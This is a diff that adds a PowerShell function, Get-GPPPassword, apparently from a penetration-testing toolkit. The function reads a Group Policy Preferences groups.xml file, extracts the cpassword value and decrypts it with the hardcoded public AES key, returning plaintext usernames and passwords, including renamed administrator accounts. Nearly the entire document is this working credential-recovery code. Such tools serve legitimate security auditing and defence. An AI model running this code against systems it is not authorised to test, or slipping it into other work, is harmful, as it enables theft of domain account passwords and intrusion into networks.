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+function Get-GPPPassword {
+
+<#
+.Synopsis
+
+ Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
+ Author: Chris Campbell (@obscuresec)
+ License: BSD 3-Clause
+
+.Description
+
+ Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
+
+.Parameter Path
+
+ The path to the targeted groups.xml file.
+
+.Example
+
+ Get-GPPPassword -path c:\demo\groups.xml
+
+.Link
+
+ http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
+ http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
+#>
+
+Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" )
+
+ #Function to pull encrypted password string from groups.xml
+ function Parse-cPassword {
+
+ try {
+ [xml] $Xml = Get-Content ($Path)
+ [String] $Cpassword = $Xml.Groups.User.Properties.cpassword
+ } catch { Write-Error "No Password Policy Found in File!" }
+
+ return $Cpassword
+ }
+
+ #Function to look to see if the administrator account is given a newname
+ function Parse-NewName {
+
+ [xml] $Xml = Get-Content ($Path)
+ [String] $NewName = $Xml.Groups.User.Properties.newName
+
+ return $NewName
+ }
+
+ #Function to parse out the Username whose password is being specified
+ function Parse-UserName {
+
+ try {
+ [xml] $Xml = Get-Content ($Path)
+ [string] $UserName = $Xml.Groups.User.Properties.userName
+ } catch { Write-Error "No Username Specified in File!" }
+
+ return $UserName
+ }
+
+ #Function that decodes and decrypts password
+ function Decrypt-Password {
+
+ try {
+ #Append appropriate padding based on string length
+ $Pad = "=" * (4 - ($Cpassword.length % 4))
+ $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
+ #Create a new AES .NET Crypto Object
+ $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+ #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
+ [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
+ 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
+ #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
+ $AesIV = New-Object Byte[]($AesObject.IV.Length)
+ $AesObject.IV = $AesIV
+ $AesObject.Key = $AesKey
+ $DecryptorObject = $AesObject.CreateDecryptor()
+ [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
+
+ return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
+ } catch { Write-Error "Decryption Failed!" }
+
+ }
+
+ $Cpassword = Parse-cPassword
+ $Password = Decrypt-Password
+ $NewName = Parse-NewName
+ $UserName = Parse-UserName
+
+ $Results = New-Object System.Object
+
+ Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
+ Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
+ Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
+
+ return $Results
+
+}